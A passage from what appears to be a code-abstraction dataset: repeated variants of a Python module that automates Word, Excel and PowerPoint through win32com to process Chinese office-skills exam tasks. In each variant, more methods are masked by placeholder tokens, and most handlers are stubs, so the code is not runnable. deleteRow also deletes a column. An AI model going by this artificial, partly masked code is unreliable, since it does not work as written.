getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n <function token>\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n <function token>\n\n def pageOper(self):\n pass\n <function token>\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n <function token>\n <function token>\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n <function token>\n\n def pageOper(self):\n pass\n <function token>\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n <function token>\n <function token>\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n <function token>\n <function token>\n <function token>\n\n def replaceOper(self, source, dest):\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = 